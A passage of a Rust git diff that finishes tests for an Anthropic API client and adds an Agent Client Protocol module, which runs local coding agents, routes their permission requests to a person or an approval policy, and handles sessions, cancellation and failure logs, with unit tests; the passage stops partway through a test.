assert_eq!(b["max_tokens"], 64000); + assert!(b["tools"][0].get("cache_control").is_none()); + assert_eq!(b["tools"][1]["cache_control"]["type"], "ephemeral"); + assert_eq!(b["system"][0]["cache_control"]["type"], "ephemeral"); + assert!(a.headers().iter().any(|(k, v)| *k == "anthropic-beta" && v == FALLBACK_BETA)); + let mut off = a.clone(); + off.fallbacks = false; + assert!(off.body(&TurnRequest { system: "s", messages: &msgs, tools: &[], effort: Effort::Low, max_tokens: 10 }).get("fallbacks").is_none()); + assert!(off.headers().iter().all(|(k, _)| *k != "anthropic-beta")); + } + + /// Every level goes to a model that has it; one that lacks it gets the nearest level below. + #[test] + fn effort_steps_down_to_a_level_the_model_has() { + for e in Effort::ALL { + assert_eq!(effort_for("claude-opus-5-5", e), e); + assert_eq!(Effort::parse(&e.as_str().to_uppercase()), Some(e)); + } + assert_eq!(effort_for("claude-sonnet-4-6", Effort::Xhigh), Effort::High); + assert_eq!(effort_for("anthropic/claude-opus-4-6", Effort::Max), Effort::Max); + assert_eq!(effort_for("claude-opus-4-5-20251101", Effort::Max), Effort::High); + assert_eq!(Effort::Low.within(&[Effort::Medium, Effort::High]), Effort::Medium, "none below: the lowest it has"); + assert_eq!(Effort::Max.within(&[]), Effort::Max); + assert_eq!(Effort::parse("extreme"), None); + let a = Anthropic::new(None, "k".into(), "claude-sonnet-4-6"); + let b = a.body(&TurnRequest { system: "s", messages: &[], tools: &[], effort: Effort::Xhigh, max_tokens: 10 }); + assert_eq!(b["output_config"]["effort"], "high"); + } + + #[test] + fn stream_state_builds_blocks() { + let events = [ + json!({"type":"message_start","message":{"model":"claude-opus-5-5","usage":{"input_tokens":10,"cache_read_input_tokens":4}}}), + json!({"type":"content_block_start","index":0,"content_block":{"type":"thinking","thinking":""}}), + json!({"type":"content_block_delta","index":0,"delta":{"type":"thinking_delta","thinking":"hmm"}}), + json!({"type":"content_block_delta","index":0,"delta":{"type":"signature_delta","signature":"sig"}}), + json!({"type":"content_block_start","index":1,"content_block":{"type":"tool_use","id":"t1","name":"x","input":{}}}), + json!({"type":"content_block_delta","index":1,"delta":{"type":"input_json_delta","partial_json":"{\"a\":"}}), + json!({"type":"content_block_delta","index":1,"delta":{"type":"input_json_delta","partial_json":"1}"}}), + json!({"type":"content_block_stop","index":1}), + json!({"type":"message_delta","delta":{"stop_reason":"tool_use"},"usage":{"output_tokens":7}}), + json!({"type":"message_stop"}), + ]; + let mut st = StreamState::default(); + let mut thinking = String::new(); + for e in events { + st.apply(&SseEvent { event: None, data: e.to_string() }, &mut |d| { + if let Delta::Thinking(t) = d { + thinking.push_str(&t) + } + }) + .unwrap(); + } + let r = st.finish("m").unwrap(); + assert_eq!(thinking, "hmm"); + assert_eq!(r.stop, StopReason::ToolUse); + assert_eq!(r.usage, Usage { input_tokens: 10, output_tokens: 7, cache_read_tokens: 4, cache_write_tokens: 0 }); + assert_eq!(r.message.blocks[0], Block::Thinking { thinking: "hmm".into(), signature: "sig".into() }); + assert_eq!(r.message.tool_uses(), vec![("t1".into(), "x".into(), json!({"a": 1}))]); + } + + #[test] + fn stream_errors_and_truncation() { + let mut st = StreamState::default(); + let e = st + .apply( + &SseEvent { event: Some("error".into()), data: json!({"type":"error","error":{"type":"overloaded_error","message":"busy"}}).to_string() }, + &mut |_| {}, + ) + .unwrap_err(); + assert_eq!(e.code, ErrorCode::EngineMissing); + let st = StreamState::default(); + assert_eq!(st.finish("m").unwrap_err().code, ErrorCode::Truncated); + let mut st = StreamState::default(); + assert!(st.apply(&SseEvent { event: None, data: "{not json".into() }, &mut |_| {}).is_err()); + // indexes far out of range are ignored, not allocated + st.apply( + &SseEvent { event: None, data: json!({"type":"content_block_start","index":999999999,"content_block":{"type":"text","text":""}}).to_string() }, + &mut |_| {}, + ) + .unwrap(); + } +} diff --git a/desktop/crates/ai/src/cli_agents/acp.rs b/desktop/crates/ai/src/cli_agents/acp.rs new file mode 100644 index 0000000..22235af --- /dev/null +++ b/desktop/crates/ai/src/cli_agents/acp.rs @@ -0,0 +1,818 @@ +//! Agents that speak the Agent Client Protocol (ACP: JSON-RPC 2.0, one message per line on the +//! agent's stdin/stdout) as one more [`Conversation`]. One agent process serves the whole chat: +//! `initialize`, then `session/new` (or `session/load` to continue) with our MCP server, then one +//! `session/prompt` per message; `session/update` notifications become [`AgentEvent`]s and +//! `session/request_permission` becomes [`AgentEvent::ConsentNeeded`]. +//! +//! [`AcpCore`] is the protocol alone (lines in, lines and events out) so it's tested without a +//! process; [`AcpConversation`] runs it against the agent through `craft_anything_platform`. + +use super::{McpCommand, display_for}; +use crate::{AgentEvent, Conversation}; +use craft_anything_platform::sync::Mutex; +use craft_anything_platform::{Process, RunningProcess, StdinMode}; +use serde_json::{Value, json}; +use std::collections::{HashMap, VecDeque}; +use std::io::Write; +use std::path::PathBuf; +use std::process::ChildStdin; +use std::sync::atomic::{AtomicBool, Ordering}; +use std::sync::mpsc::{Receiver, Sender}; +use std::sync::{Arc, PoisonError}; +use std::time::Duration; + +/// Agents known to speak ACP, and the arguments that start them in that mode. +pub const ACP_AGENTS: &[(&str, &[&str])] = &[ + ("gemini-cli", &["--experimental-acp"]), + ("qwen-code", &["--experimental-acp"]), + ("opencode", &["acp"]), + ("goose", &["acp"]), + ("hermes", &["acp"]), + ("maki", &["acp"]), +]; + +/// Agents whose ACP mode takes the backend's model (`cli_model`), and the flag after the ACP +/// arguments that picks it. Others keep the model they're set to. +pub const ACP_MODEL_FLAGS: &[(&str, &str)] = &[("maki", "-m")]; + +/// The arguments after `agent`'s ACP ones that pick `model`; none when its ACP mode isn't known +/// to take one. +pub fn model_args(agent: &str, model: Option<&str>) -> Vec { + let flag = ACP_MODEL_FLAGS.iter().find(|(id, _)| *id == agent).map(|(_, f)| *f); + match (flag, model.map(str::trim).filter(|m| !m.is_empty())) { + (Some(flag), Some(model)) => vec![flag.to_string(), model.to_string()], + _ => Vec::new(), + } +} + +/// The ACP version we speak. +const PROTOCOL_VERSION: u64 = 1; + +/// The arguments that start `agent` in ACP mode, if it has one. +pub fn acp_args(agent: &str) -> Option<&'static [&'static str]> { + ACP_AGENTS.iter().find(|(id, _)| *id == agent).map(|(_, a)| *a) +} + +/// What the core asks its driver to do. +#[derive(Debug, PartialEq)] +pub enum Out { + /// Write this line to the agent. + Send(String), + Event(AgentEvent), + /// The current message is answered (or failed); the conversation is free again. + TurnEnded, + /// Ask the approver about a permission request (`tool` and `input` in the approval policy's + /// shape: `Write {file_path}`, `Bash {command}`…), then [`AcpCore::answer`] it. + Decide { + call_id: String, + tool: String, + input: Value, + }, +} + +/// Decides a builder's permission request (`tool`, `input` as in [`Out::Decide`]); may block +/// while the person is asked. True allows it. +pub type Approver = Arc bool + Send + Sync>; + +/// An ACP tool call in the approval policy's shape. +fn policy_action(call: &Value) -> (String, Value) { + let s = |p: &str| call.pointer(p).and_then(Value::as_str).map(str::to_string); + let path = + s("/locations/0/path").or_else(|| s("/rawInput/path")).or_else(|| s("/rawInput/file_path")).or_else(|| s("/rawInput/abs_path")).unwrap_or_default(); + let command = match call.pointer("/rawInput/command") { + Some(Value::String(c)) => c.clone(), + Some(Value::Array(parts)) => parts.iter().filter_map(Value::as_str).collect::>().join(" "), + _ => s("/title").unwrap_or_default(), + }; + match call.get("kind").and_then(Value::as_str).unwrap_or("other") { + "edit" | "delete" | "move" => ("Write".into(), json!({"file_path": path})), + "execute" => ("Bash".into(), json!({"command": command})), + "read" | "search" => ("Read".into(), json!({"file_path": path})), + "fetch" => ("WebFetch".into(), call.get("rawInput").cloned().unwrap_or(Value::Null)), + "think" | "switch_mode" => ("TodoWrite".into(), Value::Null), + _ => (s("/title").unwrap_or_else(|| "an unnamed tool".into()), call.get("rawInput").cloned().unwrap_or(Value::Null)), + } +} + +#[derive(Debug, Clone, Copy, PartialEq)] +enum Pending { + Initialize, + NewSession, + LoadSession, + Prompt, +} + +/// The ACP protocol for one conversation. +pub struct AcpCore { + backend: String, + agent_name: String, + cwd: PathBuf, + mcp: McpCommand, + resume: Option, + next_id: u64, + pending: HashMap, + session: Option, + ready: bool, + queued: VecDeque, + /// Permission requests waiting for an answer: our call id → (JSON-RPC id, options). + asks: HashMap)>, + /// Tool call titles by id, for the finished event. + tools: HashMap, + /// Permission requests go to an approver ([`Out::Decide`]) instead of the person's chat. + decides: bool, +} + +impl AcpCore { + pub fn new(backend: &str, agent_name: &str, cwd: PathBuf, mcp: McpCommand, resume: Option) -> Self { + AcpCore { + backend: backend.into(), + agent_name: agent_name.into(), + cwd, + mcp, + resume, + next_id: 0, + pending: HashMap::new(), + session: None, + ready: false, + queued: VecDeque::new(), + asks: HashMap::new(), + tools: HashMap::new(), + decides: false, + } + } + + /// Send permission requests to an approver (a builder run) instead of the chat. + pub fn deciding(mut self) -> Self { + self.decides = true; + self + } + + /// The agent's session, once it has one (to continue later with `session/load`). + pub fn session_id(&self) -> Option { + self.session.clone() + } + + fn request(&mut self, method: &str, params: Value, kind: Pending) -> Out { + self.next_id += 1; + self.pending.insert(self.next_id, kind); + Out::Send(json!({"jsonrpc": "2.0", "id": self.next_id, "method": method, "params": params}).to_string()) + } + + /// The first lines to send once the agent is running. + pub fn start(&mut self) -> Vec { + let params = json!({ + "protocolVersion": PROTOCOL_VERSION, + // The agent reads and writes files and runs commands itself, asking us first. + "clientCapabilities": {"fs": {"readTextFile": false, "writeTextFile": false}, "terminal": false}, + "clientInfo": {"name": "craft-anything", "version": env!("CARGO_PKG_VERSION")}, + }); + vec![self.request("initialize", params, Pending::Initialize)] + } + + /// A message from the person: sent now, or once the session is ready. + pub fn prompt(&mut self, text: &str) -> Vec { + self.queued.push_back(text.to_string()); + // A start that failed earlier (an `initialize` error) left nothing under way: start again, + // or the message would wait for a session that never comes (#271). + if !self.ready && self.pending.is_empty() { + return self.start(); + } + self.flush() + } + + fn flush(&mut self) -> Vec { + let busy = self.pending.values().any(|p| *p == Pending::Prompt); + let Some(sid) = self.session.clone().filter(|_| self.ready && !busy) else { return Vec::new() }; + let Some(text) = self.queued.pop_front() else { return Vec::new() }; + let params = json!({"sessionId": sid, "prompt": [{"type": "text", "text": text}]}); + vec![self.request("session/prompt", params, Pending::Prompt)] + } + + fn mcp_servers(&self) -> Value { + json!([{"name": super::MCP_NAME, "command": self.mcp.command, "args": self.mcp.args, "env": []}]) + } + + /// One line from the agent. + pub fn line(&mut self, line: &str) -> Vec { + let Ok(msg) = serde_json::from_str::(line.trim()) else { return Vec::new() }; + let method = msg.get("method").and_then(Value::as_str); + match (method, msg.get("id")) { + (Some(m), Some(id)) => self.agent_request(m, id.clone(), msg.get("params").unwrap_or(&Value::Null)), + (Some("session/update"), None) => self.update(msg.get("params").and_then(|p| p.get("update")).unwrap_or(&Value::Null)), + (Some(_), None) => Vec::new(), + (None, Some(id)) => self.response(id.as_u64().unwrap_or(0), &msg), + (None, None) => Vec::new(), + } + } + + fn fail(&mut self, message: String, remediation: Option) -> Vec { + self.queued.clear(); + vec![Out::Event(AgentEvent::Error { message, remediation, log: None }), self.turn_done(), Out::TurnEnded] + } + + fn turn_done(&self) -> Out { + Out::Event(AgentEvent::TurnDone { backend: self.backend.clone(), input_tokens: 0, output_tokens: 0, cost_usd: None, cost_is_estimate: false }) + } + + fn response(&mut self, id: u64, msg: &Value) -> Vec { + let Some(kind) = self.pending.remove(&id) else { return Vec::new() }; + if let Some(err) = msg.get("error") { + let text = err.get("message").and_then(Value::as_str).unwrap_or("an error"); + // A session that can't be continued starts afresh rather than failing the message. + if kind == Pending::LoadSession { + self.resume = None; + let params = json!({"cwd": self.cwd, "mcpServers": self.mcp_servers()}); + return vec![self.request("session/new", params, Pending::NewSession)]; + } + let fix = matches!(kind, Pending::Initialize | Pending::NewSession) + .then(|| format!("Check that {} is installed and signed in: run it once in a terminal.", self.agent_name)); + return self.fail(format!("{}: {text}", self.agent_name), fix); + } + let result = msg.get("result").unwrap_or(&Value::Null); + match kind { + Pending::Initialize => { + let can_load = result.pointer("/agentCapabilities/loadSession").and_then(Value::as_bool).unwrap_or(false); + match self.resume.clone().filter(|_| can_load) { + Some(sid) => { + self.session = Some(sid.clone()); + let params = json!({"sessionId": sid, "cwd": self.cwd, "mcpServers": self.mcp_servers()}); + vec![self.request("session/load", params, Pending::LoadSession)] + } + None => { + let params = json!({"cwd": self.cwd, "mcpServers": self.mcp_servers()}); + vec![self.request("session/new", params, Pending::NewSession)] + } + } + } + Pending::NewSession | Pending::LoadSession => { + if let Some(sid) = result.get("sessionId").and_then(Value::as_str) { + self.session = Some(sid.to_string()); + } + if self.session.is_none() { + return self.fail(format!("{} started no session", self.agent_name), None); + } + self.ready = true; + self.flush() + } + Pending::Prompt => { + let mut out = Vec::new(); + match result.get("stopReason").and_then(Value::as_str) { + Some("cancelled") => out.push(Out::Event(AgentEvent::Status { text: "Stopped.".into() })), + Some("max_tokens" | "max_turn_requests") => { + out.push(Out::Event(AgentEvent::Status { text: format!("{} stopped at its length limit.", self.agent_name) })) + } + Some("refusal") => out.push(Out::Event(AgentEvent::Status { text: format!("{} declined to continue.", self.agent_name) })), + _ => {} + } + out.extend([self.turn_done(), Out::TurnEnded]); + out.extend(self.flush()); + out + } + } + } + + fn agent_request(&mut self, method: &str, id: Value, params: &Value) -> Vec { + if method != "session/request_permission" { + // We offer no file system or terminal to the agent; it does its own. + let err = json!({"jsonrpc": "2.0", "id": id, "error": {"code": -32601, "message": format!("{method} isn't offered by this client")}}); + return vec![Out::Send(err.to_string())]; + } + let call = params.get("toolCall").unwrap_or(&Value::Null); + let s = |k: &str| call.get(k).and_then(Value::as_str).unwrap_or_default().to_string(); + let call_id = format!("acp-perm-{}", id.as_u64().map(|n| n.to_string()).unwrap_or_else(|| id.to_string())); + let options = params.get("options").and_then(Value::as_array).cloned().unwrap_or_default(); + let title = if s("title").is_empty() { "Use a tool".to_string() } else { s("title") }; + self.asks.insert(call_id.clone(), (id, options)); + if self.decides { + let (tool, input) = policy_action(call); + return vec![Out::Decide { call_id, tool, input }]; + } + vec![Out::Event(AgentEvent::ConsentNeeded { + call_id, + tool: if s("kind").is_empty() { "other".into() } else { s("kind") }, + title: title.clone(), + explanation: format!("{} wants to: {title}", self.agent_name), + })] + } + + /// Answer a permission request: the first option of the matching kind, once. + pub fn answer(&mut self, call_id: &str, allow: bool) -> Vec { + let Some((id, options)) = self.asks.remove(call_id) else { return Vec::new() }; + let want = if allow { "allow_once" } else { "reject_once" }; + let pick = options + .iter() + .find(|o| o.get("kind").and_then(Value::as_str) == Some(want)) + .or_else(|| options.iter().find(|o| o.get("kind").and_then(Value::as_str).is_some_and(|k| k.starts_with(if allow { "allow" } else { "reject" })))) + .and_then(|o| o.get("optionId").cloned()); + let outcome = match pick { + Some(option) => json!({"outcome": "selected", "optionId": option}), + None => json!({"outcome": "cancelled"}), + }; + vec![Out::Send(json!({"jsonrpc": "2.0", "id": id, "result": {"outcome": outcome}}).to_string())] + } + + /// Stop the current message: cancel the prompt and any open permission requests. + pub fn cancel(&mut self) -> Vec { + // A message still waiting for the session has no prompt to cancel: its turn ends here. + let waiting = !self.queued.is_empty() && !self.pending.values().any(|p| *p == Pending::Prompt); + self.queued.clear(); + let mut out: Vec = self + .asks + .drain() + .map(|(_, (id, _))| Out::Send(json!({"jsonrpc": "2.0", "id": id, "result": {"outcome": {"outcome": "cancelled"}}}).to_string())) + .collect(); + if let Some(sid) = self.session.clone().filter(|_| self.pending.values().any(|p| *p == Pending::Prompt)) { + out.push(Out::Send(json!({"jsonrpc": "2.0", "method": "session/cancel", "params": {"sessionId": sid}}).to_string())); + } + if waiting { + out.extend([self.turn_done(), Out::TurnEnded]); + } + out + } + + fn update(&mut self, u: &Value) -> Vec { + let s = |k: &str| u.get(k).and_then(Value::as_str).unwrap_or_default().to_string(); + let text = || u.pointer("/content/text").and_then(Value::as_str).unwrap_or_default().to_string(); + let ev = match s("sessionUpdate").as_str() { + "agent_message_chunk" => AgentEvent::TextDelta { text: text() }, + "agent_thought_chunk" => AgentEvent::Status { text: text() }, + "plan" => { + let steps: Vec = u + .get("entries") + .and_then(Value::as_array) + .map(|e| e.iter().filter_map(|x| x.get("content").and_then(Value::as_str)).map(str::to_string).collect()) + .unwrap_or_default(); + AgentEvent::Status { text: format!("Plan: {}", steps.join("; ")) } + } + "tool_call" => { + let id = s("toolCallId"); + let title = if s("title").is_empty() { s("kind") } else { s("title") }; + self.tools.insert(id.clone(), title.clone()); + let started = AgentEvent::ToolStarted { call_id: id.clone(), tool: title, input: u.get("rawInput").cloned().unwrap_or(Value::Null) }; + return match finished(u, &id, self.tools.get(&id).cloned().unwrap_or_default()) { + Some(f) => vec![Out::Event(started), Out::Event(f)], + None => vec![Out::Event(started)], + }; + } + "tool_call_update" => { + let id = s("toolCallId"); + let title = self.tools.get(&id).cloned().unwrap_or_else(|| s("title")); + return finished(u, &id, title).map(|f| vec![Out::Event(f)]).unwrap_or_default(); + } + _ => return Vec::new(), + }; + vec![Out::Event(ev)] + } +} + +/// The finished event for a tool call whose status is final. +fn finished(u: &Value, id: &str, tool: String) -> Option { + let ok = match u.get("status").and_then(Value::as_str)? { + "completed" => true, + "failed" => false, + _ => return None, + }; + let summary: String = u + .get("content") + .and_then(Value::as_array) + .map(|c| c.iter().filter_map(|x| x.pointer("/content/text").and_then(Value::as_str)).collect::>().join("\n")) + .unwrap_or_default(); + let summary = summary.chars().take(2000).collect(); + Some(AgentEvent::ToolFinished { call_id: id.to_string(), tool, ok, summary, evidence_id: None }) +} + +/// The running agent and its protocol state, shared with the output reader. +struct Shared { + core: AcpCore, + stdin: Option, + stderr: VecDeque, + approver: Option, +} + +type SharedRef = Arc>>; + +impl Shared { + /// Carry out what the core asked for. A decision runs on its own thread (it may wait for the + /// person) so the agent's output keeps being read. + fn apply(&mut self, outs: Vec, shared: &SharedRef, tx: &Sender, busy: &Arc) { + for o in outs { + match o { + Out::Send(line) => { + let ok = self.stdin.as_mut().is_some_and(|s| s.write_all(format!("{line}\n").as_bytes()).and_then(|_| s.flush()).is_ok()); + if !ok { + self.stdin = None; + } + } + Out::Event(e) => { + let _ = tx.send(e); + } + Out::TurnEnded => busy.store(false, Ordering::SeqCst), + Out::Decide { call_id, tool, input } => { + let (sh, tx2, busy2, approver, id) = (shared.clone(), tx.clone(), busy.clone(), self.approver.clone(), call_id.clone()); + let spawned = std::thread::Builder::new().name("acp-approval".into()).spawn(move || { + let allow = approver.is_some_and(|a| a(&tool, &input)); + let mut g = sh.lock().unwrap_or_else(PoisonError::into_inner); + if let Some(s) = g.as_mut() { + let outs = s.core.answer(&id, allow); + s.apply(outs, &sh, &tx2, &busy2); + } + }); + // No thread to ask on: refuse rather than leave the agent waiting. + if spawned.is_err() { + let outs = self.core.answer(&call_id, false); + self.apply(outs, shared, tx, busy); + } + } + } + } + } +} + +/// A conversation with an ACP agent running on this computer. +pub struct AcpConversation { + program: String, + args: Vec, + agent: String, + backend: String, + cwd: PathBuf, + mcp: McpCommand, + resume: Option, + shared: Arc>>, + proc: Option, + tx: Sender, + rx: Receiver, + busy: Arc, + approver: Option, + preamble: String, + logs: Option, +} + +impl AcpConversation { + /// Where to write a log if the agent stops unexpectedly ([`crate::failure_log`]). + pub fn with_logs(mut self, logs: Option) -> Self { + self.logs = logs; + self + } + + /// Text put before each message, as the CLI runs do (who it works for, how to use our tools). + pub fn with_preamble(mut self, preamble: String) -> Self { + self.preamble = preamble; + self + } + + /// A builder run: the agent's permission requests are decided by `approver` (the approval + /// policy), not asked in the chat. + pub fn with_approver(mut self, approver: Approver) -> Self { + self.approver = Some(approver); + self + } + + /// `program args…` starts the agent in ACP mode; `cwd` is its working folder. + pub fn new(backend: &str, agent: &str, program: String, args: Vec, cwd: PathBuf, mcp: McpCommand, resume: Option) -> Self { + let (tx, rx) = std::sync::mpsc::channel(); + AcpConversation { + program, + args, + agent: agent.into(), + backend: backend.into(), + cwd, + mcp, + resume, + shared: Arc::default(), + proc: None, + tx, + rx, + busy: Arc::default(), + approver: None, + preamble: String::new(), + logs: None, + } + } + + fn lock(&self) -> craft_anything_platform::sync::MutexGuard<'_, Option> { + self.shared.lock().unwrap_or_else(PoisonError::into_inner) + } + + /// Start the agent and send `initialize`. + fn spawn(&mut self) -> Result<(), craft_anything_evidence::ToolError> { + let name = display_for(&self.agent); + let resume = self.lock().as_ref().and_then(|s| s.core.session_id()).or_else(|| self.resume.clone()); + let mut core = AcpCore::new(&self.backend, &name, self.cwd.clone(), self.mcp.clone(), resume); + if self.approver.is_some() { + core = core.deciding(); + } + *self.lock() = Some(Shared { core, stdin: None, stderr: VecDeque::new(), approver: self.approver.clone() }); + let (shared, tx, busy) = (self.shared.clone(), self.tx.clone(), self.busy.clone()); + let shared_err = self.shared.clone(); + let tx_err = tx.clone(); + let mut proc = Process::new(&self.program) + .args(&self.args) + .cwd(&self.cwd) + .stdin(StdinMode::Piped) + // One process serves the whole chat; a builder turn may take hours. + .timeout(Duration::from_secs(24 * 3600)) + .stdout_cap(4 << 20) + .stderr_cap(1 << 20) + .on_stdout_line(move |l| { + let mut g = shared.lock().unwrap_or_else(PoisonError::into_inner); + if let Some(s) = g.as_mut() { + let outs = s.core.line(l); + s.apply(outs, &shared, &tx, &busy); + } + }) + .on_stderr_line(move |l| { + if !l.trim().is_empty() { + let _ = tx_err.send(AgentEvent::Output { text: l.to_string() }); + } + let mut g = shared_err.lock().unwrap_or_else(PoisonError::into_inner); + if let Some(s) = g.as_mut() { + if s.stderr.len() >= 20 { + s.stderr.pop_front(); + } + s.stderr.push_back(l.to_string()); + } + }) + .label(name.clone()) + .remediation(format!("Install {name}, or choose its program in Settings → AI.")) + .spawn()?; + let stdin = proc.take_stdin(); + self.proc = Some(proc); + let mut g = self.lock(); + if let Some(s) = g.as_mut() { + s.stdin = stdin; + let outs = s.core.start(); + s.apply(outs, &self.shared, &self.tx, &self.busy); + } + Ok(()) + } + + fn with_core(&mut self, f: impl FnOnce(&mut AcpCore) -> Vec) { + let mut g = self.lock(); + if let Some(s) = g.as_mut() { + let outs = f(&mut s.core); + s.apply(outs, &self.shared, &self.tx, &self.busy); + } + } +} + +impl Conversation for AcpConversation { + fn send(&mut self, text: &str) { + if self.busy.swap(true, Ordering::SeqCst) { + let _ = self.tx.send(AgentEvent::Error { + message: "Still working on the last message.".into(), + remediation: Some("Wait for it to finish or press stop.".into()), + log: None, + }); + return; + } + let running = self.proc.as_mut().is_some_and(|p| !p.is_finished()); + if !running { + let _ = self.tx.send(AgentEvent::Status { text: format!("Starting {}…", display_for(&self.agent)) }); + if let Err(e) = self.spawn() { + self.busy.store(false, Ordering::SeqCst); + let _ = self.tx.send(AgentEvent::Error { message: e.message, remediation: e.remediation, log: None }); + let _ = self.tx.send(AgentEvent::TurnDone { + backend: self.backend.clone(), + input_tokens: 0, + output_tokens: 0, + cost_usd: None, + cost_is_estimate: false, + }); + return; + } + } + let text = format!("{}{text}", self.preamble); + self.with_core(|c| c.prompt(&text)); + } + + fn session_id(&self) -> Option { + self.lock().as_ref().and_then(|s| s.core.session_id()).or_else(|| self.resume.clone()) + } + + fn poll(&mut self) -> Vec { + let mut events: Vec = self.rx.try_iter().collect(); + // An agent that exits mid-message would otherwise leave the conversation busy forever. + if self.busy.load(Ordering::SeqCst) && self.proc.as_mut().is_some_and(RunningProcess::is_finished) { + self.busy.store(false, Ordering::SeqCst); + let tail = self.lock().as_ref().map(|s| s.stderr.iter().cloned().collect::>().join("\n")).unwrap_or_default(); + events.extend(self.rx.try_iter()); + let command = craft_anything_platform::process::printable_command(std::ffi::OsStr::new(&self.program), &self.args); + let check = format!("{} --version", crate::ssh::shell_quote(&self.program)); + let log = self.logs.as_ref().and_then(|dir| { + let report = crate::failure_log::Report { + what: format!("{} ({})", display_for(&self.agent), self.backend), + command: command.clone(), + check: check.clone(), + error: Some("It stopped in the middle of a message.".into()), + cwd: Some(self.cwd.clone()), + stderr: tail.clone().into_bytes(), + ..Default::default() + }; + crate::failure_log::write(dir, &report).map_err(|e| log::warn!("couldn't write a failure log: {e}")).ok() + }); + events.push(AgentEvent::Error { + message: format!("{} stopped unexpectedly.{}", display_for(&self.agent), if tail.is_empty() { String::new() } else { format!("\n{tail}") }), + remediation: Some(format!( + "Check that {} is installed and signed in. To test it, run:\n{check}\n\nWhat ran:\n{command}", + display_for(&self.agent) + )), + log, + }); + events.push(AgentEvent::TurnDone { backend: self.backend.clone(), input_tokens: 0, output_tokens: 0, cost_usd: None, cost_is_estimate: false }); + } + events + } + + fn answer_consent(&mut self, call_id: &str, allow: bool) { + self.with_core(|c| c.answer(call_id, allow)); + } + + fn stop(&mut self) { + self.with_core(AcpCore::cancel); + } + + fn is_busy(&self) -> bool { + self.busy.load(Ordering::SeqCst) + } +} + +impl Drop for AcpConversation { + fn drop(&mut self) { + if let Some(mut p) = self.proc.take() { + p.kill_and_wait(Duration::from_secs(3)); + } + } +} + +#[cfg(test)] +mod tests { + use super::*; + + fn core(resume: Option<&str>) -> AcpCore { + let mcp = McpCommand { command: "/opt/ca/craft-anything-cli".into(), args: vec!["mcp".into()], notes: None }; + AcpCore::new("Gemini", "Gemini CLI", PathBuf::from("/w/project"), mcp, resume.map(str::to_string)) + } + + fn sent(outs: &[Out]) -> Vec { + outs.iter().filter_map(|o| if let Out::Send(l) = o { serde_json::from_str(l).ok() } else { None }).collect() + } + + fn events(outs: Vec) -> Vec { + outs.into_iter().filter_map(|o| if let Out::Event(e) = o { Some(e) } else { None }).collect() + } + + #[test] + fn a_message_goes_through_initialize_and_a_new_session() { + let mut c = core(None); + let init = sent(&c.start()); + assert_eq!(init[0]["method"], "initialize"); + assert_eq!(init[0]["params"]["protocolVersion"], 1); + assert_eq!(init[0]["params"]["clientCapabilities"]["terminal"], false); + assert!(c.prompt("What does it do?").is_empty(), "held until the session is ready"); + let new = sent(&c.line(r#"{"jsonrpc":"2.0","id":1,"result":{"protocolVersion":1,"agentCapabilities":{"loadSession":true}}}"#)); + assert_eq!(new[0]["method"], "session/new"); + assert_eq!(new[0]["params"]["cwd"], "/w/project"); + assert_eq!(new[0]["params"]["mcpServers"][0]["name"], "craft-anything"); + assert_eq!(new[0]["params"]["mcpServers"][0]["env"], json!([])); + let prompt = sent(&c.line(r#"{"jsonrpc":"2.0","id":2,"result":{"sessionId":"s-1"}}"#)); + assert_eq!(prompt[0]["method"], "session/prompt"); + assert_eq!(prompt[0]["params"], json!({"sessionId": "s-1", "prompt": [{"type": "text", "text": "What does it do?"}]})); + assert_eq!(c.session_id().as_deref(), Some("s-1")); + + let ev = events(c.line(r#"{"jsonrpc":"2.0","method":"session/update","params":{"sessionId":"s-1","update":{"sessionUpdate":"agent_message_chunk","content":{"type":"text","text":"It "}}}}"#)); + assert_eq!(ev, [AgentEvent::TextDelta { text: "It ".into() }]); + let ev = events(c.line( + r#"{"jsonrpc":"2.0","method":"session/update","params":{"sessionId":"s-1","update":{"sessionUpdate":"tool_call","toolCallId":"t1","title":"Read main.rs","kind":"read","status":"pending","rawInput":{"path":"main.rs"}}}}"#, + )); + assert!(matches!(&ev[..], [AgentEvent::ToolStarted { call_id, tool, .. }] if call_id == "t1" && tool == "Read main.rs")); + let ev = events(c.line( + r#"{"jsonrpc":"2.0","method":"session/update","params":{"sessionId":"s-1","update":{"sessionUpdate":"tool_call_update","toolCallId":"t1","status":"completed","content":[{"type":"content","content":{"type":"text","text":"fn main"}}]}}}"#, + )); + assert!(matches!(&ev[..], [AgentEvent::ToolFinished { ok: true, summary, tool, .. }] if summary == "fn main" && tool == "Read main.rs")); + let end = c.line(r#"{"jsonrpc":"2.0","id":3,"result":{"stopReason":"end_turn"}}"#); + assert!(end.contains(&Out::TurnEnded)); + assert!(matches!(events(end)[..], [AgentEvent::TurnDone { .. }])); + // The next message goes straight out on the same session. + assert_eq!(sent(&c.prompt("And then?"))[0]["params"]["sessionId"], "s-1"); + } + + #[test] + fn a_saved_session_is_loaded_and_a_lost_one_starts_afresh() { + let mut c = core(Some("old")); + c.start(); + let load = sent(&c.line(r#"{"jsonrpc":"2.0","id":1,"result":{"agentCapabilities":{"loadSession":true}}}"#)); + assert_eq!(load[0]["method"], "session/load"); + assert_eq!(load[0]["params"]["sessionId"], "old"); + let new = sent(&c.line(r#"{"jsonrpc":"2.0","id":2,"error":{"code":-32603,"message":"no such session"}}"#)); + assert_eq!(new[0]["method"], "session/new"); + // An agent that can't load sessions gets a new one straight away. + let mut c = core(Some("old")); + c.start(); + assert_eq!(sent(&c.line(r#"{"jsonrpc":"2.0","id":1,"result":{}}"#))[0]["method"], "session/new"); + } + + #[test] + fn permission_requests_become_consent_and_are_answered_once() { + let mut c = core(None); + let ev = events(c.line( + r#"{"jsonrpc":"2.0","id":7,"method":"session/request_permission","params":{"sessionId":"s","toolCall":{"toolCallId":"t2","title":"Run npm test","kind":"execute"},"options":[{"optionId":"yes-always","name":"Always","kind":"allow_always"},{"optionId":"yes","name":"Allow","kind":"allow_once"},{"optionId":"no","name":"Reject","kind":"reject_once"}]}}"#, + )); + let Some(AgentEvent::ConsentNeeded { call_id, tool, title, .. }) = ev.first() else { panic!("{ev:?}") }; + assert_eq!((tool.as_str(), title.as_str()), ("execute", "Run npm test")); + let reply = sent(&c.answer(call_id, true)); + assert_eq!(reply[0], json!({"jsonrpc": "2.0", "id": 7, "result": {"outcome": {"outcome": "selected", "optionId": "yes"}}})); + assert!(c.answer(call_id, true).is_empty(), "answered once"); + } + + /// #271: after `initialize` failed, the next message waited for a session forever, and Stop + /// didn't end it. + #[test] + fn a_failed_start_is_tried_again_and_stop_ends_a_waiting_message() { + let mut c = core(None); + c.start(); + let failed = 